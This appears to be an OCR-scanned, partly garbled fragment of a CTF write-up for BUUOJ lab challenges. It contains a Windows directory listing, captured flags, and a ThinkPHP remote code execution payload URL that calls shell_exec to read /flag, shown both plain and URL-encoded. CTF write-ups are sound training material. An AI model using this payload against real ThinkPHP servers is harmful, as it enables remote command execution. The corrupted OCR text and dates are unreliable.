[ Documents and Settings BOOTNXT 1 2016-07-16 13:10:17
| PerfLogs E5l Boot 0 2019-11-08 13:24:17
() Program Files [ Documents and Settings 0 2016-11-22 22:56:16

[2] Program Files (x86)

(] l@g_glzjin_still w@nts_a_gi... 2021-06-21 06:47:29

[ZZ ProgramData

Es) Users License.txt 1894 2016-11-22 22:45:58
= Windows [ PerfLogs 0 2019-11-08 13:14:22
Bl inetpub [l Program Files 0 2021-06-21 06:47:26
[ php [Z3 Program Files (x86) 0 2016-07-16 13:18:05
==l ProgramData 0 2021-06-21 06:51:47

ServiceMonitor.exe 172328 2019-11-12 21:49:14

= Users 0 2021-068-21 06:46:51

= Windows 4006 2021-06-21 06:54:06

bootmgr 388880 2019-11-08 13:13:02

[ inetpub 0 2021-06-21 06:54:31

[ php 8192 2021-06-21 07:03:44

flagih 7E B
11.LFI Labs

LFI labs

Show Hint
‘cal flag |

flag{be14e093-3fe0-48c8-8dd2-da90949cce05}

12.AWD-Test1

http://4bad8dd0-53ec-4f0d-a435-c29dd8e0f144.node4.buuoj.cn:81/index.phpindex.php?
s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cat%20/flag

—HEget flag.

flag{5¢c1c0d1a-59a1-4172-84f2-50db49fd7a80}


http://4bad8dd0-53ec-4f0d-a435-c29dd8e0f144.node4.buuoj.cn:81/index.phpindex.php?s=/Index/%255Cthink%255Capp/invokefunction&function=call_user_func_array&vars%255B0%255D=shell_exec&vars%255B1%255D%255B%255D=cat%20/flag
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